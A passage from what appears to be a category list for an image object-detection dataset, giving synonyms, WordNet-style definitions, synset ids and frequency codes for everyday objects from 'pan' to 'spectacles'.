'cooking_pan'], 'def': 'cooking utensil consisting of a wide metal vessel', 'id': 534, 'synset': 'pan.n.01', 'name': 'pan_(for_cooking)', 'frequency': 'f'}, {'synonyms': ['pancake'], 'def': 'a flat cake of thin batter fried on both sides on a griddle', 'id': 535, 'synset': 'pancake.n.01', 'name': 'pancake', 'frequency': 'c'}, {'synonyms': ['paper_plate'], 'def': 'a disposable plate made of cardboard', 'id': 536, 'synset': 'paper_plate.n.01', 'name': 'paper_plate', 'frequency': 'f'}, {'synonyms': ['paper_towel'], 'def': 'a disposable towel made of absorbent paper', 'id': 537, 'synset': 'paper_towel.n.01', 'name': 'paper_towel', 'frequency': 'f'}, {'synonyms': ['parachute'], 'def': 'rescue equipment consisting of a device that fills with air and retards your fall', 'id': 538, 'synset': 'parachute.n.01', 'name': 'parachute', 'frequency': 'c'}, {'synonyms': ['parakeet', 'parrakeet', 'parroket', 'paraquet', 'paroquet', 'parroquet'], 'def': 'any of numerous small slender long-tailed parrots', 'id': 539, 'synset': 'parakeet.n.01', 'name': 'parakeet', 'frequency': 'c'}, {'synonyms': ['parasail_(sports)'], 'def': 'parachute that will lift a person up into the air when it is towed by a motorboat or a car', 'id': 540, 'synset': 'parasail.n.01', 'name': 'parasail_(sports)', 'frequency': 'c'}, {'synonyms': ['parasol', 'sunshade'], 'def': 'a handheld collapsible source of shade', 'id': 541, 'synset': 'parasol.n.01', 'name': 'parasol', 'frequency': 'c'}, {'synonyms': ['parka', 'anorak'], 'def': "a kind of heavy jacket (`windcheater' is a British term)", 'id': 542, 'synset': 'parka.n.01', 'name': 'parka', 'frequency': 'c'}, {'synonyms': ['parking_meter'], 'def': 'a coin-operated timer located next to a parking space', 'id': 543, 'synset': 'parking_meter.n.01', 'name': 'parking_meter', 'frequency': 'f'}, {'synonyms': ['parrot'], 'def': 'usually brightly colored tropical birds with short hooked beaks and the ability to mimic sounds', 'id': 544, 'synset': 'parrot.n.01', 'name': 'parrot', 'frequency': 'c'}, {'synonyms': ['passenger_car_(part_of_a_train)', 'coach_(part_of_a_train)'], 'def': 'a railcar where passengers ride', 'id': 545, 'synset': 'passenger_car.n.01', 'name': 'passenger_car_(part_of_a_train)', 'frequency': 'c'}, {'synonyms': ['passport'], 'def': 'a document issued by a country to a citizen allowing that person to travel abroad and re-enter the home country', 'id': 546, 'synset': 'passport.n.02', 'name': 'passport', 'frequency': 'c'}, {'synonyms': ['pastry'], 'def': 'any of various baked foods made of dough or batter', 'id': 547, 'synset': 'pastry.n.02', 'name': 'pastry', 'frequency': 'f'}, {'synonyms': ['pea_(food)'], 'def': 'seed of a pea plant used for food', 'id': 548, 'synset': 'pea.n.01', 'name': 'pea_(food)', 'frequency': 'c'}, {'synonyms': ['peach'], 'def': 'downy juicy fruit with sweet yellowish or whitish flesh', 'id': 549, 'synset': 'peach.n.03', 'name': 'peach', 'frequency': 'c'}, {'synonyms': ['peanut_butter'], 'def': 'a spread made from ground peanuts', 'id': 550, 'synset': 'peanut_butter.n.01', 'name': 'peanut_butter', 'frequency': 'c'}, {'synonyms': ['pear'], 'def': 'sweet juicy gritty-textured fruit available in many varieties', 'id': 551, 'synset': 'pear.n.01', 'name': 'pear', 'frequency': 'f'}, {'synonyms': ['peeler_(tool_for_fruit_and_vegetables)'], 'def': 'a device for peeling vegetables or fruits', 'id': 552, 'synset': 'peeler.n.03', 'name': 'peeler_(tool_for_fruit_and_vegetables)', 'frequency': 'c'}, {'synonyms': ['pelican'], 'def': 'large long-winged warm-water seabird having a large bill with a distensible pouch for fish', 'id': 553, 'synset': 'pelican.n.01', 'name': 'pelican', 'frequency': 'c'}, {'synonyms': ['pen'], 'def': 'a writing implement with a point from which ink flows', 'id': 554, 'synset': 'pen.n.01', 'name': 'pen', 'frequency': 'f'}, {'synonyms': ['pencil'], 'def': 'a thin cylindrical pointed writing implement made of wood and graphite', 'id': 555, 'synset': 'pencil.n.01', 'name': 'pencil', 'frequency': 'f'}, {'synonyms': ['penguin'], 'def': 'short-legged flightless birds of cold southern regions having webbed feet and wings modified as flippers', 'id': 556, 'synset': 'penguin.n.01', 'name': 'penguin', 'frequency': 'c'}, {'synonyms': ['pepper', 'peppercorn'], 'def': 'pungent seasoning from the berry of the common pepper plant; whole or ground', 'id': 557, 'synset': 'pepper.n.03', 'name': 'pepper', 'frequency': 'f'}, {'synonyms': ['pepper_mill', 'pepper_grinder'], 'def': 'a mill for grinding pepper', 'id': 558, 'synset': 'pepper_mill.n.01', 'name': 'pepper_mill', 'frequency': 'c'}, {'synonyms': ['perfume'], 'def': 'a toiletry that emits and diffuses a fragrant odor', 'id': 559, 'synset': 'perfume.n.02', 'name': 'perfume', 'frequency': 'c'}, {'synonyms': ['person', 'baby', 'child', 'boy', 'girl', 'man', 'woman', 'human'], 'def': 'a human being', 'id': 560, 'synset': 'person.n.01', 'name': 'person', 'frequency': 'f'}, {'synonyms': ['pet'], 'def': 'a domesticated animal kept for companionship or amusement', 'id': 561, 'synset': 'pet.n.01', 'name': 'pet', 'frequency': 'c'}, {'synonyms': ['pew_(church_bench)', 'church_bench'], 'def': 'long bench with backs; used in church by the congregation', 'id': 562, 'synset': 'pew.n.01', 'name': 'pew_(church_bench)', 'frequency': 'c'}, {'synonyms': ['phonograph_record', 'phonograph_recording', 'record_(phonograph_recording)'], 'def': 'sound recording consisting of a typically black disk with a continuous groove', 'id': 563, 'synset': 'phonograph_record.n.01', 'name': 'phonograph_record', 'frequency': 'c'}, {'synonyms': ['piano'], 'def': 'a keyboard instrument that is played by depressing keys that cause hammers to strike tuned strings and produce sounds', 'id': 564, 'synset': 'piano.n.01', 'name': 'piano', 'frequency': 'f'}, {'synonyms': ['pickle'], 'def': 'vegetables (especially cucumbers) preserved in brine or vinegar', 'id': 565, 'synset': 'pickle.n.01', 'name': 'pickle', 'frequency': 'f'}, {'synonyms': ['pickup_truck'], 'def': 'a light truck with an open body and low sides and a tailboard', 'id': 566, 'synset': 'pickup.n.01', 'name': 'pickup_truck', 'frequency': 'f'}, {'synonyms': ['pie'], 'def': 'dish baked in pastry-lined pan often with a pastry top', 'id': 567, 'synset': 'pie.n.01', 'name': 'pie', 'frequency': 'c'}, {'synonyms': ['pigeon'], 'def': 'wild and domesticated birds having a heavy body and short legs', 'id': 568, 'synset': 'pigeon.n.01', 'name': 'pigeon', 'frequency': 'c'}, {'synonyms': ['pillow'], 'def': 'a cushion to support the head of a sleeping person', 'id': 569, 'synset': 'pillow.n.01', 'name': 'pillow', 'frequency': 'f'}, {'synonyms': ['pineapple'], 'def': 'large sweet fleshy tropical fruit with a tuft of stiff leaves', 'id': 570, 'synset': 'pineapple.n.02', 'name': 'pineapple', 'frequency': 'f'}, {'synonyms': ['pinecone'], 'def': 'the seed-producing cone of a pine tree', 'id': 571, 'synset': 'pinecone.n.01', 'name': 'pinecone', 'frequency': 'c'}, {'synonyms': ['pipe', 'piping'], 'def': 'a long tube made of metal or plastic that is used to carry water or oil or gas etc.', 'id': 572, 'synset': 'pipe.n.02', 'name': 'pipe', 'frequency': 'f'}, {'synonyms': ['pita_(bread)', 'pocket_bread'], 'def': 'usually small round bread that can open into a pocket for filling', 'id': 573, 'synset': 'pita.n.01', 'name': 'pita_(bread)', 'frequency': 'c'}, {'synonyms': ['pitcher_(vessel_for_liquid)', 'ewer'], 'def': 'an open vessel with a handle and a spout for pouring', 'id': 574, 'synset': 'pitcher.n.02', 'name': 'pitcher_(vessel_for_liquid)', 'frequency': 'f'}, {'synonyms': ['pizza'], 'def': 'Italian open pie made of thin bread dough spread with a spiced mixture of e.g. tomato sauce and cheese', 'id': 575, 'synset': 'pizza.n.01', 'name': 'pizza', 'frequency': 'f'}, {'synonyms': ['place_mat'], 'def': 'a mat placed on a table for an individual place setting', 'id': 576, 'synset': 'place_mat.n.01', 'name': 'place_mat', 'frequency': 'f'}, {'synonyms': ['plate'], 'def': 'dish on which food is served or from which food is eaten', 'id': 577, 'synset': 'plate.n.04', 'name': 'plate', 'frequency': 'f'}, {'synonyms': ['platter'], 'def': 'a large shallow dish used for serving food', 'id': 578, 'synset': 'platter.n.01', 'name': 'platter', 'frequency': 'c'}, {'synonyms': ['pliers', 'plyers'], 'def': 'a gripping hand tool with two hinged arms and (usually) serrated jaws', 'id': 579, 'synset': 'pliers.n.01', 'name': 'pliers', 'frequency': 'c'}, {'synonyms': ['pocketknife'], 'def': 'a knife with a blade that folds into the handle; suitable for carrying in the pocket', 'id': 580, 'synset': 'pocketknife.n.01', 'name': 'pocketknife', 'frequency': 'c'}, {'synonyms': ['poker_(fire_stirring_tool)', 'stove_poker', 'fire_hook'], 'def': 'fire iron consisting of a metal rod with a handle; used to stir a fire', 'id': 581, 'synset': 'poker.n.01', 'name': 'poker_(fire_stirring_tool)', 'frequency': 'c'}, {'synonyms': ['pole', 'post'], 'def': 'a long (usually round) rod of wood or metal or plastic', 'id': 582, 'synset': 'pole.n.01', 'name': 'pole', 'frequency': 'f'}, {'synonyms': ['polo_shirt', 'sport_shirt'], 'def': 'a shirt with short sleeves designed for comfort and casual wear', 'id': 583, 'synset': 'polo_shirt.n.01', 'name': 'polo_shirt', 'frequency': 'f'}, {'synonyms': ['pony'], 'def': 'any of various breeds of small gentle horses usually less than five feet high at the shoulder', 'id': 584, 'synset': 'pony.n.05', 'name': 'pony', 'frequency': 'c'}, {'synonyms': ['pop_(soda)', 'soda_(pop)', 'tonic', 'soft_drink'], 'def': 'a sweet drink containing carbonated water and flavoring', 'id': 585, 'synset': 'pop.n.02', 'name': 'pop_(soda)', 'frequency': 'f'}, {'synonyms': ['postbox_(public)', 'mailbox_(public)'], 'def': 'public box for deposit of mail', 'id': 586, 'synset': 'postbox.n.01', 'name': 'postbox_(public)', 'frequency': 'c'}, {'synonyms': ['postcard', 'postal_card', 'mailing-card'], 'def': 'a card for sending messages by post without an envelope', 'id': 587, 'synset': 'postcard.n.01', 'name': 'postcard', 'frequency': 'c'}, {'synonyms': ['poster', 'placard'], 'def': 'a sign posted in a public place as an advertisement', 'id': 588, 'synset': 'poster.n.01', 'name': 'poster', 'frequency': 'f'}, {'synonyms': ['pot'], 'def': 'metal or earthenware cooking vessel that is usually round and deep; often has a handle and lid', 'id': 589, 'synset': 'pot.n.01', 'name': 'pot', 'frequency': 'f'}, {'synonyms': ['flowerpot'], 'def': 'a container in which plants are cultivated', 'id': 590, 'synset': 'pot.n.04', 'name': 'flowerpot', 'frequency': 'f'}, {'synonyms': ['potato'], 'def': 'an edible tuber native to South America', 'id': 591, 'synset': 'potato.n.01', 'name': 'potato', 'frequency': 'f'}, {'synonyms': ['potholder'], 'def': 'an insulated pad for holding hot pots', 'id': 592, 'synset': 'potholder.n.01', 'name': 'potholder', 'frequency': 'c'}, {'synonyms': ['pottery', 'clayware'], 'def': 'ceramic ware made from clay and baked in a kiln', 'id': 593, 'synset': 'pottery.n.01', 'name': 'pottery', 'frequency': 'c'}, {'synonyms': ['pouch'], 'def': 'a small or medium size container for holding or carrying things', 'id': 594, 'synset': 'pouch.n.01', 'name': 'pouch', 'frequency': 'c'}, {'synonyms': ['power_shovel', 'excavator', 'digger'], 'def': 'a machine for excavating', 'id': 595, 'synset': 'power_shovel.n.01', 'name': 'power_shovel', 'frequency': 'c'}, {'synonyms': ['prawn', 'shrimp'], 'def': 'any of various edible decapod crustaceans', 'id': 596, 'synset': 'prawn.n.01', 'name': 'prawn', 'frequency': 'c'}, {'synonyms': ['pretzel'], 'def': 'glazed and salted cracker typically in the shape of a loose knot', 'id': 597, 'synset': 'pretzel.n.01', 'name': 'pretzel', 'frequency': 'c'}, {'synonyms': ['printer', 'printing_machine'], 'def': 'a machine that prints', 'id': 598, 'synset': 'printer.n.03', 'name': 'printer', 'frequency': 'f'}, {'synonyms': ['projectile_(weapon)', 'missile'], 'def': 'a weapon that is forcibly thrown or projected at a targets', 'id': 599, 'synset': 'projectile.n.01', 'name': 'projectile_(weapon)', 'frequency': 'c'}, {'synonyms': ['projector'], 'def': 'an optical instrument that projects an enlarged image onto a screen', 'id': 600, 'synset': 'projector.n.02', 'name': 'projector', 'frequency': 'c'}, {'synonyms': ['propeller', 'propellor'], 'def': 'a mechanical device that rotates to push against air or water', 'id': 601, 'synset': 'propeller.n.01', 'name': 'propeller', 'frequency': 'f'}, {'synonyms': ['pumpkin'], 'def': 'usually large pulpy deep-yellow round fruit of the squash family maturing in late summer or early autumn', 'id': 602, 'synset': 'pumpkin.n.02', 'name': 'pumpkin', 'frequency': 'c'}, {'synonyms': ['puppy'], 'def': 'a young dog', 'id': 603, 'synset': 'puppy.n.01', 'name': 'puppy', 'frequency': 'c'}, {'synonyms': ['quilt', 'comforter'], 'def': 'bedding made of two layers of cloth filled with stuffing and stitched together', 'id': 604, 'synset': 'quilt.n.01', 'name': 'quilt', 'frequency': 'f'}, {'synonyms': ['rabbit'], 'def': 'any of various burrowing animals of the family Leporidae having long ears and short tails', 'id': 605, 'synset': 'rabbit.n.01', 'name': 'rabbit', 'frequency': 'c'}, {'synonyms': ['racket', 'racquet'], 'def': 'a sports implement used to strike a ball in various games', 'id': 606, 'synset': 'racket.n.04', 'name': 'racket', 'frequency': 'c'}, {'synonyms': ['radiator'], 'def': 'a mechanism consisting of a metal honeycomb through which hot fluids circulate', 'id': 607, 'synset': 'radiator.n.03', 'name': 'radiator', 'frequency': 'f'}, {'synonyms': ['radio_receiver', 'radio_set', 'radio', 'tuner_(radio)'], 'def': 'an electronic receiver that detects and demodulates and amplifies transmitted radio signals', 'id': 608, 'synset': 'radio_receiver.n.01', 'name': 'radio_receiver', 'frequency': 'c'}, {'synonyms': ['radish', 'daikon'], 'def': 'pungent edible root of any of various cultivated radish plants', 'id': 609, 'synset': 'radish.n.03', 'name': 'radish', 'frequency': 'c'}, {'synonyms': ['raft'], 'def': 'a flat float (usually made of logs or planks) that can be used for transport or as a platform for swimmers', 'id': 610, 'synset': 'raft.n.01', 'name': 'raft', 'frequency': 'c'}, {'synonyms': ['raincoat', 'waterproof_jacket'], 'def': 'a water-resistant coat', 'id': 611, 'synset': 'raincoat.n.01', 'name': 'raincoat', 'frequency': 'c'}, {'synonyms': ['ram_(animal)'], 'def': 'uncastrated adult male sheep', 'id': 612, 'synset': 'ram.n.05', 'name': 'ram_(animal)', 'frequency': 'c'}, {'synonyms': ['raspberry'], 'def': 'red or black edible aggregate berries usually smaller than the related blackberries', 'id': 613, 'synset': 'raspberry.n.02', 'name': 'raspberry', 'frequency': 'c'}, {'synonyms': ['razorblade'], 'def': 'a blade that has very sharp edge', 'id': 614, 'synset': 'razorblade.n.01', 'name': 'razorblade', 'frequency': 'c'}, {'synonyms': ['reamer_(juicer)', 'juicer', 'juice_reamer'], 'def': 'a squeezer with a conical ridged center that is used for squeezing juice from citrus fruit', 'id': 615, 'synset': 'reamer.n.01', 'name': 'reamer_(juicer)', 'frequency': 'c'}, {'synonyms': ['rearview_mirror'], 'def': 'vehicle mirror (side or rearview)', 'id': 616, 'synset': 'rearview_mirror.n.01', 'name': 'rearview_mirror', 'frequency': 'f'}, {'synonyms': ['receipt'], 'def': 'an acknowledgment (usually tangible) that payment has been made', 'id': 617, 'synset': 'receipt.n.02', 'name': 'receipt', 'frequency': 'c'}, {'synonyms': ['recliner', 'reclining_chair', 'lounger_(chair)'], 'def': 'an armchair whose back can be lowered and foot can be raised to allow the sitter to recline in it', 'id': 618, 'synset': 'recliner.n.01', 'name': 'recliner', 'frequency': 'c'}, {'synonyms': ['record_player', 'phonograph_(record_player)', 'turntable'], 'def': 'machine in which rotating records cause a stylus to vibrate and the vibrations are amplified acoustically or electronically', 'id': 619, 'synset': 'record_player.n.01', 'name': 'record_player', 'frequency': 'c'}, {'synonyms': ['reflector'], 'def': 'device that reflects light, radiation, etc.', 'id': 620, 'synset': 'reflector.n.01', 'name': 'reflector', 'frequency': 'f'}, {'synonyms': ['remote_control'], 'def': 'a device that can be used to control a machine or apparatus from a distance', 'id': 621, 'synset': 'remote_control.n.01', 'name': 'remote_control', 'frequency': 'f'}, {'synonyms': ['rhinoceros'], 'def': 'massive powerful herbivorous odd-toed ungulate of southeast Asia and Africa having very thick skin and one or two horns on the snout', 'id': 622, 'synset': 'rhinoceros.n.01', 'name': 'rhinoceros', 'frequency': 'c'}, {'synonyms': ['rifle'], 'def': 'a shoulder firearm with a long barrel', 'id': 623, 'synset': 'rifle.n.01', 'name': 'rifle', 'frequency': 'c'}, {'synonyms': ['ring'], 'def': 'jewelry consisting of a circlet of precious metal (often set with jewels) worn on the finger', 'id': 624, 'synset': 'ring.n.08', 'name': 'ring', 'frequency': 'f'}, {'synonyms': ['robe'], 'def': 'any loose flowing garment', 'id': 625, 'synset': 'robe.n.01', 'name': 'robe', 'frequency': 'c'}, {'synonyms': ['rocking_chair'], 'def': 'a chair mounted on rockers', 'id': 626, 'synset': 'rocking_chair.n.01', 'name': 'rocking_chair', 'frequency': 'c'}, {'synonyms': ['rolling_pin'], 'def': 'utensil consisting of a cylinder (usually of wood) with a handle at each end; used to roll out dough', 'id': 627, 'synset': 'rolling_pin.n.01', 'name': 'rolling_pin', 'frequency': 'c'}, {'synonyms': ['router_(computer_equipment)'], 'def': 'a device that forwards data packets between computer networks', 'id': 628, 'synset': 'router.n.02', 'name': 'router_(computer_equipment)', 'frequency': 'c'}, {'synonyms': ['rubber_band', 'elastic_band'], 'def': 'a narrow band of elastic rubber used to hold things (such as papers) together', 'id': 629, 'synset': 'rubber_band.n.01', 'name': 'rubber_band', 'frequency': 'f'}, {'synonyms': ['runner_(carpet)'], 'def': 'a long narrow carpet', 'id': 630, 'synset': 'runner.n.08', 'name': 'runner_(carpet)', 'frequency': 'c'}, {'synonyms': ['plastic_bag', 'paper_bag'], 'def': "a bag made of paper or plastic for holding customer's purchases", 'id': 631, 'synset': 'sack.n.01', 'name': 'plastic_bag', 'frequency': 'f'}, {'synonyms': ['saddle_(on_an_animal)'], 'def': 'a seat for the rider of a horse or camel', 'id': 632, 'synset': 'saddle.n.01', 'name': 'saddle_(on_an_animal)', 'frequency': 'f'}, {'synonyms': ['saddle_blanket', 'saddlecloth', 'horse_blanket'], 'def': 'stable gear consisting of a blanket placed under the saddle', 'id': 633, 'synset': 'saddle_blanket.n.01', 'name': 'saddle_blanket', 'frequency': 'f'}, {'synonyms': ['saddlebag'], 'def': 'a large bag (or pair of bags) hung over a saddle', 'id': 634, 'synset': 'saddlebag.n.01', 'name': 'saddlebag', 'frequency': 'c'}, {'synonyms': ['sail'], 'def': 'a large piece of fabric by means of which wind is used to propel a sailing vessel', 'id': 635, 'synset': 'sail.n.01', 'name': 'sail', 'frequency': 'f'}, {'synonyms': ['salad'], 'def': 'food mixtures either arranged on a plate or tossed and served with a moist dressing; usually consisting of or including greens', 'id': 636, 'synset': 'salad.n.01', 'name': 'salad', 'frequency': 'f'}, {'synonyms': ['salami'], 'def': 'highly seasoned fatty sausage of pork and beef usually dried', 'id': 637, 'synset': 'salami.n.01', 'name': 'salami', 'frequency': 'c'}, {'synonyms': ['salmon_(fish)'], 'def': 'any of various large food and game fishes of northern waters', 'id': 638, 'synset': 'salmon.n.01', 'name': 'salmon_(fish)', 'frequency': 'c'}, {'synonyms': ['salsa'], 'def': 'spicy sauce of tomatoes and onions and chili peppers to accompany Mexican foods', 'id': 639, 'synset': 'salsa.n.01', 'name': 'salsa', 'frequency': 'c'}, {'synonyms': ['saltshaker'], 'def': 'a shaker with a perforated top for sprinkling salt', 'id': 640, 'synset': 'saltshaker.n.01', 'name': 'saltshaker', 'frequency': 'f'}, {'synonyms': ['sandal_(type_of_shoe)'], 'def': 'a shoe consisting of a sole fastened by straps to the foot', 'id': 641, 'synset': 'sandal.n.01', 'name': 'sandal_(type_of_shoe)', 'frequency': 'f'}, {'synonyms': ['sandwich'], 'def': 'two (or more) slices of bread with a filling between them', 'id': 642, 'synset': 'sandwich.n.01', 'name': 'sandwich', 'frequency': 'f'}, {'synonyms': ['saucer'], 'def': 'a small shallow dish for holding a cup at the table', 'id': 643, 'synset': 'saucer.n.02', 'name': 'saucer', 'frequency': 'f'}, {'synonyms': ['sausage'], 'def': 'highly seasoned minced meat stuffed in casings', 'id': 644, 'synset': 'sausage.n.01', 'name': 'sausage', 'frequency': 'f'}, {'synonyms': ['scale_(measuring_instrument)'], 'def': 'a measuring instrument for weighing; shows amount of mass', 'id': 645, 'synset': 'scale.n.07', 'name': 'scale_(measuring_instrument)', 'frequency': 'f'}, {'synonyms': ['scarf'], 'def': 'a garment worn around the head or neck or shoulders for warmth or decoration', 'id': 646, 'synset': 'scarf.n.01', 'name': 'scarf', 'frequency': 'f'}, {'synonyms': ['school_bus'], 'def': 'a bus used to transport children to or from school', 'id': 647, 'synset': 'school_bus.n.01', 'name': 'school_bus', 'frequency': 'c'}, {'synonyms': ['scissors'], 'def': 'a tool having two crossed pivoting blades with looped handles', 'id': 648, 'synset': 'scissors.n.01', 'name': 'scissors', 'frequency': 'f'}, {'synonyms': ['scoreboard'], 'def': 'a large board for displaying the score of a contest (and some other information)', 'id': 649, 'synset': 'scoreboard.n.01', 'name': 'scoreboard', 'frequency': 'f'}, {'synonyms': ['screwdriver'], 'def': 'a hand tool for driving screws; has a tip that fits into the head of a screw', 'id': 650, 'synset': 'screwdriver.n.01', 'name': 'screwdriver', 'frequency': 'c'}, {'synonyms': ['scrubbing_brush'], 'def': 'a brush with short stiff bristles for heavy cleaning', 'id': 651, 'synset': 'scrub_brush.n.01', 'name': 'scrubbing_brush', 'frequency': 'f'}, {'synonyms': ['sculpture'], 'def': 'a three-dimensional work of art', 'id': 652, 'synset': 'sculpture.n.01', 'name': 'sculpture', 'frequency': 'c'}, {'synonyms': ['seabird', 'seafowl'], 'def': 'a bird that frequents coastal waters and the open ocean: gulls; pelicans; gannets; cormorants; albatrosses; petrels; etc.', 'id': 653, 'synset': 'seabird.n.01', 'name': 'seabird', 'frequency': 'c'}, {'synonyms': ['seahorse'], 'def': 'small fish with horse-like heads bent sharply downward and curled tails', 'id': 654, 'synset': 'seahorse.n.02', 'name': 'seahorse', 'frequency': 'c'}, {'synonyms': ['seashell'], 'def': 'the shell of a marine organism', 'id': 655, 'synset': 'seashell.n.01', 'name': 'seashell', 'frequency': 'c'}, {'synonyms': ['sewing_machine'], 'def': 'a textile machine used as a home appliance for sewing', 'id': 656, 'synset': 'sewing_machine.n.01', 'name': 'sewing_machine', 'frequency': 'c'}, {'synonyms': ['shaker'], 'def': 'a container in which something can be shaken', 'id': 657, 'synset': 'shaker.n.03', 'name': 'shaker', 'frequency': 'c'}, {'synonyms': ['shampoo'], 'def': 'cleansing agent consisting of soaps or detergents used for washing the hair', 'id': 658, 'synset': 'shampoo.n.01', 'name': 'shampoo', 'frequency': 'c'}, {'synonyms': ['shark'], 'def': 'typically large carnivorous fishes with sharpe teeth', 'id': 659, 'synset': 'shark.n.01', 'name': 'shark', 'frequency': 'c'}, {'synonyms': ['shaving_cream', 'shaving_soap'], 'def': 'toiletry consisting that forms a rich lather for softening the beard before shaving', 'id': 660, 'synset': 'shaving_cream.n.01', 'name': 'shaving_cream', 'frequency': 'c'}, {'synonyms': ['sheep'], 'def': 'woolly usually horned ruminant mammal related to the goat', 'id': 661, 'synset': 'sheep.n.01', 'name': 'sheep', 'frequency': 'f'}, {'synonyms': ['shield'], 'def': 'armor carried on the arm to intercept blows', 'id': 662, 'synset': 'shield.n.02', 'name': 'shield', 'frequency': 'c'}, {'synonyms': ['shirt'], 'def': 'a garment worn on the upper half of the body', 'id': 663, 'synset': 'shirt.n.01', 'name': 'shirt', 'frequency': 'f'}, {'synonyms': ['shoe', 'sneaker_(type_of_shoe)', 'tennis_shoe'], 'def': 'common footwear covering the foot', 'id': 664, 'synset': 'shoe.n.01', 'name': 'shoe', 'frequency': 'f'}, {'synonyms': ['shopping_bag'], 'def': 'a bag made of plastic or strong paper (often with handles); used to transport goods after shopping', 'id': 665, 'synset': 'shopping_bag.n.01', 'name': 'shopping_bag', 'frequency': 'f'}, {'synonyms': ['shopping_cart'], 'def': 'a handcart that holds groceries or other goods while shopping', 'id': 666, 'synset': 'shopping_cart.n.01', 'name': 'shopping_cart', 'frequency': 'c'}, {'synonyms': ['short_pants', 'shorts_(clothing)', 'trunks_(clothing)'], 'def': 'trousers that end at or above the knee', 'id': 667, 'synset': 'short_pants.n.01', 'name': 'short_pants', 'frequency': 'f'}, {'synonyms': ['shoulder_bag'], 'def': 'a large handbag that can be carried by a strap looped over the shoulder', 'id': 668, 'synset': 'shoulder_bag.n.01', 'name': 'shoulder_bag', 'frequency': 'f'}, {'synonyms': ['shovel'], 'def': 'a hand tool for lifting loose material such as snow, dirt, etc.', 'id': 669, 'synset': 'shovel.n.01', 'name': 'shovel', 'frequency': 'c'}, {'synonyms': ['shower_head'], 'def': 'a plumbing fixture that sprays water over you', 'id': 670, 'synset': 'shower.n.01', 'name': 'shower_head', 'frequency': 'f'}, {'synonyms': ['shower_curtain'], 'def': 'a curtain that keeps water from splashing out of the shower area', 'id': 671, 'synset': 'shower_curtain.n.01', 'name': 'shower_curtain', 'frequency': 'f'}, {'synonyms': ['signboard'], 'def': 'structure displaying a board on which advertisements can be posted', 'id': 672, 'synset': 'signboard.n.01', 'name': 'signboard', 'frequency': 'f'}, {'synonyms': ['silo'], 'def': 'a cylindrical tower used for storing goods', 'id': 673, 'synset': 'silo.n.01', 'name': 'silo', 'frequency': 'c'}, {'synonyms': ['sink'], 'def': 'plumbing fixture consisting of a water basin fixed to a wall or floor and having a drainpipe', 'id': 674, 'synset': 'sink.n.01', 'name': 'sink', 'frequency': 'f'}, {'synonyms': ['skateboard'], 'def': 'a board with wheels that is ridden in a standing or crouching position and propelled by foot', 'id': 675, 'synset': 'skateboard.n.01', 'name': 'skateboard', 'frequency': 'f'}, {'synonyms': ['skewer'], 'def': 'a long pin for holding meat in position while it is being roasted', 'id': 676, 'synset': 'skewer.n.01', 'name': 'skewer', 'frequency': 'c'}, {'synonyms': ['ski'], 'def': 'sports equipment for skiing on snow', 'id': 677, 'synset': 'ski.n.01', 'name': 'ski', 'frequency': 'f'}, {'synonyms': ['ski_boot'], 'def': 'a stiff boot that is fastened to a ski with a ski binding', 'id': 678, 'synset': 'ski_boot.n.01', 'name': 'ski_boot', 'frequency': 'f'}, {'synonyms': ['ski_parka', 'ski_jacket'], 'def': 'a parka to be worn while skiing', 'id': 679, 'synset': 'ski_parka.n.01', 'name': 'ski_parka', 'frequency': 'f'}, {'synonyms': ['ski_pole'], 'def': 'a pole with metal points used as an aid in skiing', 'id': 680, 'synset': 'ski_pole.n.01', 'name': 'ski_pole', 'frequency': 'f'}, {'synonyms': ['skirt'], 'def': 'a garment hanging from the waist; worn mainly by girls and women', 'id': 681, 'synset': 'skirt.n.02', 'name': 'skirt', 'frequency': 'f'}, {'synonyms': ['sled', 'sledge', 'sleigh'], 'def': 'a vehicle or flat object for transportation over snow by sliding or pulled by dogs, etc.', 'id': 682, 'synset': 'sled.n.01', 'name': 'sled', 'frequency': 'c'}, {'synonyms': ['sleeping_bag'], 'def': 'large padded bag designed to be slept in outdoors', 'id': 683, 'synset': 'sleeping_bag.n.01', 'name': 'sleeping_bag', 'frequency': 'c'}, {'synonyms': ['slipper_(footwear)', 'carpet_slipper_(footwear)'], 'def': 'low footwear that can be slipped on and off easily; usually worn indoors', 'id': 684, 'synset': 'slipper.n.01', 'name': 'slipper_(footwear)', 'frequency': 'c'}, {'synonyms': ['snowboard'], 'def': 'a board that resembles a broad ski or a small surfboard; used in a standing position to slide down snow-covered slopes', 'id': 685, 'synset': 'snowboard.n.01', 'name': 'snowboard', 'frequency': 'f'}, {'synonyms': ['snowman'], 'def': 'a figure of a person made of packed snow', 'id': 686, 'synset': 'snowman.n.01', 'name': 'snowman', 'frequency': 'c'}, {'synonyms': ['snowmobile'], 'def': 'tracked vehicle for travel on snow having skis in front', 'id': 687, 'synset': 'snowmobile.n.01', 'name': 'snowmobile', 'frequency': 'c'}, {'synonyms': ['soap'], 'def': 'a cleansing agent made from the salts of vegetable or animal fats', 'id': 688, 'synset': 'soap.n.01', 'name': 'soap', 'frequency': 'f'}, {'synonyms': ['soccer_ball'], 'def': "an inflated ball used in playing soccer (called `football' outside of the United States)", 'id': 689, 'synset': 'soccer_ball.n.01', 'name': 'soccer_ball', 'frequency': 'f'}, {'synonyms': ['sock'], 'def': 'cloth covering for the foot; worn inside the shoe; reaches to between the ankle and the knee', 'id': 690, 'synset': 'sock.n.01', 'name': 'sock', 'frequency': 'f'}, {'synonyms': ['sofa', 'couch', 'lounge'], 'def': 'an upholstered seat for more than one person', 'id': 691, 'synset': 'sofa.n.01', 'name': 'sofa', 'frequency': 'f'}, {'synonyms': ['solar_array', 'solar_battery', 'solar_panel'], 'def': 'electrical device consisting of a large array of connected solar cells', 'id': 692, 'synset': 'solar_array.n.01', 'name': 'solar_array', 'frequency': 'c'}, {'synonyms': ['soup'], 'def': 'liquid food especially of meat or fish or vegetable stock often containing pieces of solid food', 'id': 693, 'synset': 'soup.n.01', 'name': 'soup', 'frequency': 'f'}, {'synonyms': ['soupspoon'], 'def': 'a spoon with a rounded bowl for eating soup', 'id': 694, 'synset': 'soupspoon.n.01', 'name': 'soupspoon', 'frequency': 'c'}, {'synonyms': ['sour_cream', 'soured_cream'], 'def': 'soured light cream', 'id': 695, 'synset': 'sour_cream.n.01', 'name': 'sour_cream', 'frequency': 'c'}, {'synonyms': ['spatula'], 'def': 'a hand tool with a thin flexible blade used to mix or spread soft substances', 'id': 696, 'synset': 'spatula.n.02', 'name': 'spatula', 'frequency': 'f'}, {'synonyms': ['spectacles', 'specs', 'eyeglasses', 'glasses'], 'def': 'optical instrument consisting of a frame that holds a pair of lenses for correcting defective vision', 'id': 697, 